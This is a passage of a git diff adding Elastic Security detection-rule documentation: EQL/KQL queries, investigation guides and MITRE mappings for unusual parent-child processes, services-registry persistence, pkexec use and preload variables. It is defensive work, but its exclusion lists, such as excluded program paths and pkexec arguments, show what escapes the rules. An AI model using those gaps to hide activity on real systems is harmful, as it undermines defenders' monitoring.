https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule no additional audit rules are required. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-parent-child-relationship.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-parent-child-relationship.asciidoc new file mode 100644 index 0000000000..7e348217b4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-parent-child-relationship.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-20-unusual-parent-child-relationship]] +=== Unusual Parent-Child Relationship + +Identifies Windows programs run from unexpected parent processes. This could indicate masquerading or other strange activity on a system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/sbousseaden/Slides/blob/master/Hunting%20MindMaps/PNG/Windows%20Processes%20TH.map.png +* https://www.andreafortuna.org/2017/06/15/standard-windows-processes-a-brief-reference/ +* https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Parent-Child Relationship* + + +Windows internal/system processes have some characteristics that can be used to spot suspicious activities. One of these characteristics is parent-child relationships. These relationships can be used to baseline the typical behavior of the system and then alert on occurrences that don't comply with the baseline. + +This rule uses this information to spot suspicious parent and child processes. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +process.parent.name != null and + ( + /* suspicious parent processes */ + (process.name:"autochk.exe" and not process.parent.name:"smss.exe") or + (process.name:("fontdrvhost.exe", "dwm.exe") and not process.parent.name:("wininit.exe", "winlogon.exe", "dwm.exe")) or + (process.name:("consent.exe", "RuntimeBroker.exe", "TiWorker.exe") and not process.parent.name:("svchost.exe", "Workplace Container Helper.exe")) or + (process.name:"SearchIndexer.exe" and not process.parent.name:"services.exe") or + (process.name:"SearchProtocolHost.exe" and not process.parent.name:("SearchIndexer.exe", "dllhost.exe")) or + (process.name:"dllhost.exe" and not process.parent.name:("services.exe", "svchost.exe")) or + (process.name:"smss.exe" and not process.parent.name:("System", "smss.exe")) or + (process.name:"csrss.exe" and not process.parent.name:("smss.exe", "svchost.exe")) or + (process.name:"wininit.exe" and not process.parent.name:"smss.exe") or + (process.name:"winlogon.exe" and not process.parent.name:"smss.exe") or + (process.name:("lsass.exe", "LsaIso.exe") and not process.parent.name:"wininit.exe") or + (process.name:"LogonUI.exe" and not process.parent.name:("wininit.exe", "winlogon.exe")) or + (process.name:"services.exe" and not process.parent.name:"wininit.exe") or + (process.name:"svchost.exe" and not process.parent.name:("MsMpEng.exe", "services.exe", "svchost.exe")) or + (process.name:"spoolsv.exe" and not process.parent.name:("services.exe", "Workplace Starter.exe")) or + (process.name:"taskhost.exe" and not process.parent.name:("services.exe", "svchost.exe", "ngentask.exe")) or + (process.name:"taskhostw.exe" and not process.parent.name:("services.exe", "svchost.exe")) or + (process.name:"userinit.exe" and not process.parent.name:("dwm.exe", "winlogon.exe", "KUsrInit.exe")) or + (process.name:("wmiprvse.exe", "wsmprovhost.exe", "winrshost.exe") and not process.parent.name:"svchost.exe") or + /* suspicious child processes */ + (process.parent.name:("SearchProtocolHost.exe", "taskhost.exe", "csrss.exe") and not process.name:("werfault.exe", "wermgr.exe", "WerFaultSecure.exe", "conhost.exe", "ngentask.exe")) or + (process.parent.name:"autochk.exe" and not process.name:("chkdsk.exe", "doskey.exe", "WerFault.exe")) or + (process.parent.name:"smss.exe" and not process.name:("autochk.exe", "smss.exe", "csrss.exe", "wininit.exe", "winlogon.exe", "setupcl.exe", "WerFault.exe", "wpbbin.exe", "PvsVmBoot.exe", "SophosNA.exe", "omnissa-ic-nga.exe", "icarus_rvrt.exe", "poqexec.exe")) or + (process.parent.name:"wermgr.exe" and not process.name:("WerFaultSecure.exe", "wermgr.exe", "WerFault.exe")) or + (process.parent.name:"conhost.exe" and not process.name:("mscorsvw.exe", "wermgr.exe", "WerFault.exe", "WerFaultSecure.exe")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Process Hollowing +** ID: T1055.012 +** Reference URL: https://attack.mitre.org/techniques/T1055/012/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Break Process Trees +** ID: T1036.009 +** Reference URL: https://attack.mitre.org/techniques/T1036/009/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Parent PID Spoofing +** ID: T1134.004 +** Reference URL: https://attack.mitre.org/techniques/T1134/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-persistence-via-services-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-persistence-via-services-registry.asciidoc new file mode 100644 index 0000000000..12582e7f18 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-persistence-via-services-registry.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-unusual-persistence-via-services-registry]] +=== Unusual Persistence via Services Registry + +Identifies processes modifying the services registry key directly, instead of through the expected Windows APIs. This could be an indication of an adversary attempting to stealthily persist through abnormal service creation or modification of an existing service. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Persistence via Services Registry* + + +Windows services are crucial for running background processes. Adversaries may exploit this by directly altering service registry keys to maintain persistence, bypassing standard APIs. The detection rule identifies such anomalies by monitoring changes to specific registry paths and filtering out legitimate processes, thus highlighting potential unauthorized service modifications indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the specific registry paths and values that triggered the alert, focusing on "ServiceDLL" and "ImagePath" within the specified registry paths to identify any unauthorized or suspicious modifications. +- Examine the process responsible for the registry change, paying attention to the process name and executable path, to determine if it is a known legitimate process or potentially malicious. +- Cross-reference the process executable path against the list of known legitimate paths excluded in the query to ensure it is not a false positive. +- Investigate the historical behavior of the process and any associated files or network activity to identify patterns indicative of malicious intent or persistence mechanisms. +- Check for any recent changes or anomalies in the system's service configurations that could correlate with the registry modifications, indicating potential unauthorized service creation or alteration. +- Consult threat intelligence sources or databases to determine if the process or registry changes are associated with known malware or adversary techniques. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify service registry keys directly. Users can create exceptions for known software update processes by excluding their executables from the detection rule. +- System maintenance tools like Process Explorer may trigger false positives when they interact with service registry keys. Exclude these tools by adding their process names and paths to the exception list. +- Drivers installed by trusted hardware peripherals might alter service registry keys. Users should identify and exclude these driver paths if they are known to be safe and frequently updated. +- Custom enterprise applications that require direct registry modifications for service management can be excluded by specifying their executable paths in the rule exceptions. +- Regular system processes such as svchost.exe or services.exe are already excluded, but ensure any custom scripts or automation tools that mimic these processes are also accounted for in the exceptions. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are not part of legitimate applications or services. +- Restore the modified registry keys to their original state using a known good backup or by manually correcting the entries to ensure the integrity of the service configurations. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious software or artifacts. +- Review and update endpoint protection policies to ensure that similar unauthorized registry modifications are detected and blocked in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Document the incident details, including the steps taken for containment and remediation, to enhance future response efforts and update threat intelligence databases. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings != null and registry.value : ("ServiceDLL", "ImagePath") and + registry.path : ( + "HKLM\\SYSTEM\\ControlSet*\\Services\\*\\ServiceDLL", + "HKLM\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath", + "\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet*\\Services\\*\\ServiceDLL", + "\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath", + "MACHINE\\SYSTEM\\ControlSet*\\Services\\*\\ServiceDLL", + "MACHINE\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath" + ) and not registry.data.strings : ( + "?:\\windows\\system32\\Drivers\\*.sys", + "\\SystemRoot\\System32\\drivers\\*.sys", + "\\??\\?:\\Windows\\system32\\Drivers\\*.SYS", + "\\??\\?:\\Windows\\syswow64\\*.sys", + "system32\\DRIVERS\\USBSTOR", + "system32\\drivers\\*.sys", + "C:\\WindowsAzure\\GuestAgent*.exe", + "\"C:\\Program Files\\Common Files\\McAfee\\*", + "C:\\Program Files (x86)\\VERITAS\\VxPBX\\bin\\pbx_exchange.exe", + "\"C:\\Program Files (x86)\\VERITAS\\VxPBX\\bin\\pbx_exchange.exe\"", + "\"C:\\ProgramData\\McAfee\\Agent\\Current\\*") and + not (process.name : "procexp??.exe" and registry.data.strings : "?:\\*\\procexp*.sys") and + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\winsxs\\*\\TiWorker.exe", + "?:\\Windows\\System32\\drvinst.exe", + "?:\\Windows\\System32\\services.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\System32\\regsvr32.exe", + "?:\\Windows\\System32\\WaaSMedicAgent.exe", + "?:\\Windows\\UUS\\amd64\\WaaSMedicAgent.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services Registry Permissions Weakness +** ID: T1574.011 +** Reference URL: https://attack.mitre.org/techniques/T1574/011/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-pkexec-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-pkexec-execution.asciidoc new file mode 100644 index 0000000000..eeb73db4a1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-pkexec-execution.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-20-unusual-pkexec-execution]] +=== Unusual Pkexec Execution + +This rule detects the execution of the `pkexec` command by a shell process. The `pkexec` command is used to execute programs as another user, typically as the superuser. Through the `new_terms` rule type, unusual executions of `pkexec` are identified, and may indicate an attempt to escalate privileges or perform unauthorized actions on the system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Pkexec Execution* + + +`Pkexec` is a command-line utility in Linux environments that allows users to execute commands as another user, often with elevated privileges. Adversaries may exploit `pkexec` to escalate privileges or execute unauthorized actions by invoking it through shell processes. The detection rule identifies atypical `pkexec` executions initiated by common shell interpreters, flagging potential misuse by monitoring specific process attributes and execution patterns. + + +*Possible investigation steps* + + +- Review the process tree to understand the context of the pkexec execution, focusing on the parent process names such as bash, dash, sh, tcsh, csh, zsh, ksh, or fish, as these are indicative of shell-based invocations. +- Examine the command-line arguments passed to pkexec to determine the intended action and assess whether it aligns with expected administrative tasks or appears suspicious. +- Check the user account associated with the pkexec execution to verify if the account has legitimate reasons to perform such actions, and investigate any anomalies in user behavior or account activity. +- Investigate the timing and frequency of the pkexec executions to identify patterns or correlations with other suspicious activities or known attack timelines. +- Cross-reference the alert with other security logs and alerts from data sources like Elastic Endgame, Elastic Defend, Crowdstrike, or SentinelOne to gather additional context and corroborate findings. +- Assess the system's current state for signs of compromise, such as unauthorized changes, unexpected network connections, or the presence of known malicious files or processes. + + +*False positive analysis* + + +- Routine administrative tasks: System administrators may use pkexec for legitimate purposes, such as performing maintenance tasks. To handle this, create exceptions for known administrator accounts or specific maintenance scripts that regularly invoke pkexec. +- Automated scripts: Some automated scripts or cron jobs might use pkexec to perform scheduled tasks. Identify these scripts and exclude their specific process names or paths from the rule to prevent false alerts. +- Software updates: Certain software update processes might use pkexec to apply patches or updates. Monitor and document these processes, then configure exceptions for recognized update mechanisms. +- Development environments: Developers might use pkexec during testing or development. Establish a list of development machines or user accounts and exclude them from the rule to reduce noise. +- Custom user applications: Users may have custom applications that require pkexec for legitimate functionality. Review these applications and whitelist their specific execution patterns to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious `pkexec` processes identified by the alert to halt unauthorized actions or privilege escalation attempts. +- Review and analyze the parent shell process and its command history to understand the context and origin of the `pkexec` execution. +- Reset credentials and review permissions for the user accounts involved to mitigate any unauthorized access or privilege escalation. +- Conduct a thorough scan of the affected system for additional indicators of compromise or persistence mechanisms that may have been deployed. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Update and enhance monitoring rules to detect similar `pkexec` misuse attempts in the future, ensuring comprehensive coverage of shell processes and privilege escalation activities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and +event.action:(exec or exec_event or start or ProcessRollup2) and process.name:pkexec and +process.args:pkexec and process.parent.name:(bash or dash or sh or tcsh or csh or zsh or ksh or fish) and +not ( + process.args:( + "/usr/libexec/gvfsd-admin" or "udevadm" or "/opt/forticlient/stop-forticlient.sh" or "/usr/bin/gparted" or + "dpkg" or "/usr/sbin/gparted" or "input-remapper-control" or "/usr/lib/ubuntu-release-upgrader/do-partial-upgrade" + ) or + process.parent.command_line:*/home/*/.claude/shell-snapshots/* or + process.parent.args:"/usr/bin/timeshift-launcher" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-preload-environment-variable-process-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-preload-environment-variable-process-execution.asciidoc new file mode 100644 index 0000000000..7b4a7c3121 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-preload-environment-variable-process-execution.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-20-unusual-preload-environment-variable-process-execution]] +=== Unusual Preload Environment Variable Process Execution + +This rule detects processes that are executed with environment variables that are not commonly used. This could indicate an attacker is attempting to hijack the execution flow of a process by loading malicious libraries or binaries into the process memory space. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Preload Environment Variable Process Execution* + + +In Linux environments, preload environment variables can dictate which libraries are loaded into a process, potentially altering its behavior. Adversaries exploit this by injecting malicious libraries to hijack execution flow, achieving persistence or evasion. The detection rule identifies atypical environment variables during process execution, signaling potential misuse by attackers. + + +*Possible investigation steps* + + +- Review the process details associated with the alert, focusing on the process name, command line, and any unusual environment variables listed in process.env_vars. +- Investigate the parent process to understand the context of how the process was initiated and whether it aligns with expected behavior. +- Check the history of the process and its associated user account to identify any recent changes or suspicious activities that might indicate compromise. +- Analyze the libraries or binaries specified in the environment variables to determine if they are legitimate or potentially malicious. +- Cross-reference the process and environment variables with known threat intelligence sources to identify any matches with known malicious activity. +- Examine system logs and other related alerts around the same timeframe to identify any correlated or supporting evidence of malicious activity. + + +*False positive analysis* + + +- Development and testing environments often use custom preload variables to test new libraries, which can trigger false positives. Users should identify and whitelist these known variables to prevent unnecessary alerts. +- Some legitimate software applications may use uncommon preload environment variables for performance optimization or compatibility reasons. Users can create exceptions for these applications by verifying their source and 